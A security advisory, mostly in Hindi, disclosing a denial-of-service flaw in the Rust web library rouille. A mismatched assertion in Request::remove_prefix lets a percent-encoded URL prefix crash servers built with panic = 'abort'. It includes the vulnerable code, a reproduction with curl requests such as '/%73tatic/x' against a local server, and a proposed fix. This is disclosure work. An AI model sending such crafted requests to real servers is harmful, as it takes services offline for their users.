
Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)
निर्धारित CVE ID: CVE-2026-66754
Request::remove_prefix प्रतिशत-डिकोड किए गए URL का परीक्षण करता है, लेकिन रॉ URL पर एसर्शन करता है। ऐसा अनुरोध जिसका डिकोड किया गया पाथ प्रीफ़िक्स से शुरू होता है, जबकि उसका रॉ पाथ नहीं, परीक्षण पास कर लेता है और एसर्शन विफल कर देता है। प्रीफ़िक्स के एक कैरेक्टर को प्रतिशत-एनकोड करना पर्याप्त है।
डिफ़ॉल्ट बिल्ड पर पैनिक पकड़ लिया जाता है और 500 बन जाता है। panic = "abort" वाले बिल्ड पर उसे पकड़ने के लिए कुछ नहीं होता, और एक बिना प्रमाणीकरण वाला GET सर्वर प्रोसेस को समाप्त कर देता है।
Repo URL: https://github.com/tomaka/rouille
| पहला प्रभावित | 0.1.6 (2016-09-22), वह रिलीज़ जिसने remove_prefix पेश किया |
| अंतिम प्रभावित | 3.6.2 (2023-04-24), वर्तमान रिलीज़ |
| प्रभावित नहीं | 0.1.5 और उससे पहले, जिनमें remove_prefix नहीं है |
| ठीक किया गया | लेखन के समय कोई निश्चित संस्करण नहीं |
फ़ंक्शन उस श्रेणी के हर रिलीज़ और वर्तमान master में अपरिवर्तित है। एप्लिकेशन प्रभावित होते हैं यदि वे Request::remove_prefix कॉल करते हैं, जो rouille द्वारा URL प्रीफ़िक्स के अंतर्गत स्टैटिक फ़ाइलें सर्व करने के लिए प्रलेखित पैटर्न है (src/assets.rs पंक्तियाँ 66 से 75, और src/lib.rs पंक्तियाँ 804 से 811)।
CWE-617 (रीचेबल एसर्शन), जो CWE-248 (अनकॉट एक्सेप्शन) की ओर ले जाता है।
CVSS 4.0 आधार स्कोर 8.2 (उच्च)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
एक रिमोट, बिना प्रमाणीकरण वाला क्लाइंट जो एक GET अनुरोध भेज सकता है। कोई क्रेडेंशियल नहीं और कोई उपयोगकर्ता इंटरैक्शन नहीं।
panic = "abort" Cargo की डिफ़ॉल्ट नहीं है, लेकिन छोटे बाइनरी और कम ओवरहेड के लिए यह एक सामान्य रिलीज़ प्रोफ़ाइल विकल्प है। rouille उपलब्धता के लिए अनवाइंडिंग पर निर्भर करता है, क्योंकि Server::process src/lib.rs पंक्ति 602 पर panic::catch_unwind पर निर्भर करता है ताकि हैंडलर पैनिक को 500 में बदल सके। यह निर्भरता प्रलेखित नहीं है।
rouille/src/lib.rs, पंक्तियाँ 813 से 822:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
पंक्ति 814 self.url() को कॉल करती है, जो प्रतिशत-डिकोड करती है। पंक्ति 819 रॉ फ़ील्ड self.url पर एसर्शन करती है, और पंक्ति 822 उसी रॉ फ़ील्ड को स्लाइस करती है। जब भी पाथ में प्रीफ़िक्स के अंदर कोई प्रतिशत एस्केप होता है, दोनों निरूपण असहमत होते हैं:
यही बेमेल यह भी दर्शाता है कि remove_prefix कभी भी वैध रूप से प्रतिशत-एनकोडेड पाथ को रूट नहीं करता, इसलिए सही होने की बग और उपलब्धता की बग एक ही फिक्स साझा करती हैं।
चरण 1. प्रलेखित प्रीफ़िक्स मुहावरे का उपयोग करके एक सर्वर शुरू करें।
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
चरण 2. एक सामान्य अनुरोध और s प्रतिशत-एनकोडेड समतुल्य अनुरोध भेजें। --path-as-is curl को पाथ को सामान्य करने से रोकता है।
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
डिफ़ॉल्ट बिल्ड पर परिणाम। पहला एक लापता फ़ाइल के लिए सामान्य 404 है, दूसरा 500 में बदला गया पैनिक है:
404
500
इसके साथ stderr पर:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
चरण 3. उसी प्रोग्राम को एबॉर्ट-ऑन-पैनिक के साथ पुनर्निर्मित करें और दूसरा अनुरोध दोहराएं।
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
परिणाम। प्रोसेस SIGABRT (एग्ज़िट कोड 134) के साथ समाप्त हो जाता है और सर्वर जवाब देना बंद कर देता है। एक अनुरोध, कोई प्रमाणीकरण नहीं, उपलब्धता का पूर्ण नुकसान।
panic = "abort" वाले बिल्ड पर, एक एकल बिना प्रमाणीकरण वाला अनुरोध सर्वर को रोक देता है। डिफ़ॉल्ट बिल्ड पर, जिन अनुरोधों के पाथ में प्रीफ़िक्स के भीतर प्रतिशत एस्केप होता है, वे सर्व करने के बजाय 500 लौटाते हैं, इसलिए वैध क्लाइंट्स के लिए भी रूटिंग गलत है।
ध्यान दें कि पैनिक उस म्यूटेक्स को पॉइज़न नहीं कर सकता जिसे Server::process src/lib.rs पंक्तियों 643 और 649 पर catch_unwind के बाहर अनरैप करता है, क्योंकि remove_prefix केवल Arc को क्लोन करता है और कभी गार्ड धारण नहीं करता। अनवाइंडिंग बिल्ड पर वर्कर थ्रेड साफ़ तरीके से पुनर्प्राप्त हो जाता है।
तुलना और स्लाइस को एक ही निरूपण पर करें। सबसे सरल सही संस्करण रॉ URL की तुलना और स्लाइस करता है:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
यदि डिकोडेड-तुलना व्यवहार अभिप्रेत है, तो URL को एक बार डिकोड करें, डिकोडेड स्ट्रिंग से प्रीफ़िक्स हटाएँ, और रॉ फ़ील्ड को स्लाइस करने के बजाय शेष को फिर से एनकोड करें।
किसी भी तरह, assert! हटा दिया जाना चाहिए। एक लाइब्रेरी को हमलावर-नियंत्रित इनपुट पर प्रोसेस को एबॉर्ट नहीं करना चाहिए। यह प्रलेखित करना कि rouille को panic = "unwind" की आवश्यकता है, या सही होने के लिए catch_unwind पर निर्भरता हटाना, भी मददगार होगा।
| रॉ URL | url() डिकोडेड | पंक्ति 814 | पंक्ति 819 |
|---|
/static/x | /static/x | पास | पास |
/%73tatic/x | /static/x | पास | विफल |
/stati%63/x | /static/x | पास | विफल |